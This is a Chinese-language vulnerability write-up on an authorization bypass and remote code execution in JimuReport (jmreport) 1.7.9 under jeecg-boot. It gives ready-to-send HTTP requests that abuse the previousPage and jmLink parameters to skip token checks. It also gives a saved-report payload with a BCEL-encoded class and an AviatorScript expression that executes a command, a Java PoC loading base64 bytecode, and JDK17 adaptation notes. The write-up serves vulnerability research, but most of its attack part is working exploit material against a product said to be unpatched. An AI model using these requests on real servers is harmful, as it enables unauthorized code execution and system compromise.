漏洞描述
积木报表(jmreport)被曝出存在一个未授权绕过漏洞。该漏洞允许攻击者在请求中包含特定参数时绕过授权机制,从而访问诸如 save、queryFieldBySql、show 等接口。尽管之前的远程代码执行(RCE)漏洞已被修复,但攻击者仍能通过 AviatorScript 表达式注入,继续实现 RCE 攻击。
目前,积木报表的最新版本为 1.7.9,但测试发现,该版本仍存在授权绕过的风险。漏洞修复的版本暂未发布。
漏洞复现
这里使用的环境是jeecg-boot 3.7.0
,积木报表版本为1.7.9
。
开启一个redis,开启mysql,导入jeecgboot-mysql-5.7.sql,数据库配置文件在src/main/resources/application-dev.yml
发送如下数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| POST /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123 HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: application/json, text/plain, */* Content-Type: application/json Content-Length: 2172
{ "loopBlockList": [], "area": false, "printElWidth": 718, "excel_config_id": "980882669965455368", "printElHeight": 1047, "rows": { "4": { "cells": { "4": { "text": "=((c=Class.forName(\"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A\",true,new com.sun.org.apache.bcel.internal.util.ClassLoader()) ) + ( c.exec(\"calc\") );)", "style": 0 } }, "height": 25 }, "len": 96, "-1": { "cells": { "-1": { "text": "${gongsi.id}" } }, "isDrag": true } }, "dbexps": [], "toolPrintSizeObj": { "printType": "A4", "widthPx": 718, "heightPx": 1047 }, "dicts": [], "freeze": "A1", "dataRectWidth": 701, "background": false, "name": "sheet1", "autofilter": {}, "styles": [ { "align": "center" } ], "validations": [], "cols": { "4": { "width": 95 }, "len": 50 }, "merges": [ "E4:F4", "B4:B5", "C4:C5", "D4:D5", "G4:G5", "H4:H5", "I4:I5", "D1:G1", "H3:I3" ] }
|
然后发送如下数据包
1 2 3 4 5 6 7 8 9 10 11
| POST /jeecg-boot/jmreport/show?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123 HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: application/json, text/plain, */* Content-Type: application/json Content-Length: 34
{ "id":"980882669965455368" }
|
验证的话直接用sql语句验证就行了
1 2 3 4 5 6 7 8 9 10 11
| POST /jeecg-boot/jmreport/queryFieldBySql?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123 HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: application/json, text/plain, */* Content-Type: application/json Content-Length: 32
{ "sql":"select 'ycxhhh'" }
|
漏洞分析
权限绕过
之前积木报表也有一个漏洞,是在jmreport/queryFieldBySql路由下的一个未授权sql查询,并且传入的sql语句还会被freemarker模板解析,造成rce。后续修复是对该路由做出了权限限制。
目前这个漏洞利用的第一步就是一个权限的绕过,观察payload,我们首先想到是拦截器的问题,搜索一下addInterceptors方法,跟进到org.jeecg.modules.jmreport.config.init.JimuReportConfiguration
发现对相应路由进行了拦截器的添加,看一下/jmreport/**路由具体的拦截器实现
跟进JimuReportTokenInterceptor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { if (!(handler instanceof HandlerMethod)) { return true; } else { String var4 = d.i(request.getRequestURI().substring(request.getContextPath().length())); log.debug("JimuReportInterceptor check requestPath = " + var4); int var5 = 500; if (n.a(var4)) { log.error("请注意,请求地址有xss攻击风险!" + var4); this.backError(response, "请求地址有xss攻击风险!", var5); return false; } else { String var6 = this.jmBaseConfig.getCustomPrePath(); log.debug("customPrePath: {}", var6); if (j.d(var6) && !var6.startsWith("/")) { var6 = "/" + var6; }
request.setAttribute("customPrePath", var6); HandlerMethod var7 = (HandlerMethod)handler; Method var8 = var7.getMethod(); if (var4.contains("/jmreport/shareView/")) { return true; } else { JimuNoLoginRequired var9 = (JimuNoLoginRequired)var8.getAnnotation(JimuNoLoginRequired.class); if (j.d(var9)) { return true; } else { boolean var10 = false;
try { var10 = this.verifyToken(request); } catch (Exception var14) { }
if (!var10) { if (this.jimuReportShareService.isSharingEffective(var4, request)) { return true; } else { String var16 = request.getParameter("previousPage"); if (j.d(var16)) { if (this.jimuReportShareService.isShareingToken(var4, request)) { return true; } else { log.error("分享链接失效或分享token不匹配(" + request.getMethod() + "):" + var4); this.backError(response, "分享链接失效或分享token不匹配,禁止钻取!", var5); return false; } } else { log.error("Token校验失败!请求无权限(" + request.getMethod() + "):" + var4); this.backError(response, "Token校验失败,无权限访问!", var5); return false; } } } else { b var15 = (b)var8.getAnnotation(b.class); if (var15 != null) { String[] var11 = var15.a(); String[] var12 = this.jimuTokenClient.getRoles(request); if (var12 == null || var12.length == 0) { log.error("此接口需要角色权限,请联系管理员!请求无权限(" + request.getMethod() + "):" + var4); if ("/jmreport/loadTableData".equals(var4)) { var5 = GEN_TEST_DATA_CODE; }
this.backError(response, NO_PERMISSION_PROMPT_MSG, var5); return false; }
boolean var13 = Arrays.stream(var12).anyMatch((code) -> { return j.a(code, var11); }); if (!var13) { log.error("此接口需要角色权限,请联系管理员!请求无权限(" + request.getMethod() + "):" + var4); if ("/jmreport/loadTableData".equals(var4)) { var5 = GEN_TEST_DATA_CODE; }
this.backError(response, NO_PERMISSION_PROMPT_MSG, var5); return false; } }
return true; } } } } } }
|
进行了一个xss的检测,并且对/jmreport/shareView/直接放行,然后有一个verifyToken方法的调用,跟进下去可以发现是jwt的验证
随后来到isSharingEffective方法
里面配置了一些路由白名单,我们的jmreport/queryFieldBySql路由不在白名单,直接返回false,接着来到else模块
获取previousPage参数,跟进j.d方法
综合这三块代码,d方法最后返回true,步入isShareingToken方法
首先看请求头中是否有JmReport-Share-Token,如果没有的话就从参数shareToken中获取,随后获取jmLink参数,调用一个j.d(var5)方法,和刚刚一样,依旧是返回true,进入try模块
首先对jmLink参数进行base64解码,然后将解码后的字符串进行分割,分割符为||
,如果分割后生成的数组不为空,并且长度为2的话,那么就将其分别赋值给var3和var4
这个if条件判断是否为空,返回false,步入else
只要路由不是/jmreport/view,那么就会返回true,成功绕过拦截器
但由于高版本的积木报表采用了高于漏洞版本的freemarker依赖,所以这里依旧没法靠模板注入进行rce
AviatorScript RCE
查看save路由
将传入的报表数据传入saveReport方法,保存到数据库
show路由根据id提取相应的数据
经过一系列调用对text参数进行compile方法的调用
造成RCE
将两者结合便是该漏洞的实现原理
AviatorScript表达式注入的payload如下(参考:https://github.com/Whoopsunix/JavaRce/blob/main/SecVulns/VulnCore/Expression/AviatorAttack/src/main/java/com/ppp/aviator/AviatorDemo.java)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| package com.ppp.aviator;
import com.googlecode.aviator.AviatorEvaluator; import com.googlecode.aviator.AviatorEvaluatorInstance;
public class AviatorDemo { public static void main(String[] args) throws Exception {
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance(); evaluator.execute("use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('org.example.Exec', Base64Utils.decodeFromString('yv66vgAAADQAMgoACwAZCQAaABsIABwKAB0AHgoAHwAgCAAhCgAfACIHACMIACQHACUHACYBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEkxvcmcvZXhhbXBsZS9FeGVjOwEADVN0YWNrTWFwVGFibGUHACUHACMBAAg8Y2xpbml0PgEAClNvdXJjZUZpbGUBAAlFeGVjLmphdmEMAAwADQcAJwwAKAApAQAERXhlYwcAKgwAKwAsBwAtDAAuAC8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAwADEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQALc3RhdGljIEV4ZWMBABBvcmcvZXhhbXBsZS9FeGVjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAKAAsAAAAAAAIAAQAMAA0AAQAOAAAAdgACAAIAAAAaKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAETLEAAQAEABUAGAAIAAMADwAAABoABgAAAAcABAAJAAwACgAVAAwAGAALABkADQAQAAAADAABAAAAGgARABIAAAATAAAAEAAC/wAYAAEHABQAAQcAFQAACAAWAA0AAQAOAAAAWwACAAEAAAAWsgACEgm2AAS4AAUSBrYAB1enAARLsQABAAAAEQAUAAgAAwAPAAAAFgAFAAAAEQAIABIAEQAUABQAEwAVABUAEAAAAAIAAAATAAAABwACVAcAFQAAAQAXAAAAAgAY'), ClassLoader.getSystemClassLoader());");
} }
|
另外,我使用jdk8才能成功复现,jdk17利用请见:https://whoopsunix.com/docs/java/Expression/Aviator/#jdk-%E9%AB%98%E7%89%88%E6%9C%AC%E7%9A%84-aviator-%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5,BCEL Classloader
在 JDK < 8u251之前是在rt.jar里面,所以要求JDK < 8u251
。
原理总结一下,大致是:在 JDK 9 之后的版本引入了 named module 机制,将 java.*
下非public变量和方法声明为受保护的,因此不能直接访问。这个限制在 JDK 17 强制开启。也就是说我们无法直接调用java.lang.ClassLoader.defineClass()
方法,但是我们可以通过该方法中的lookupDefineClassMethod.invoke来创建class
实际上只要满足 contextClass != null && contextClass.getClassLoader() == loader
这个条件,contextClass
也是可控的,contextClass选择一个 ClassLoader 中有的就行,既然是解析表达式,就随便选一个类 org.springframework.expression.ExpressionParser。
并且,积木报表低版本(<=1.6.0)无法使用该payload,具体原因是因为在低版本中,TRACE_EVAL属性被赋值为true,而高版本为false,该属性会影响Aviator中execute0方法的调用。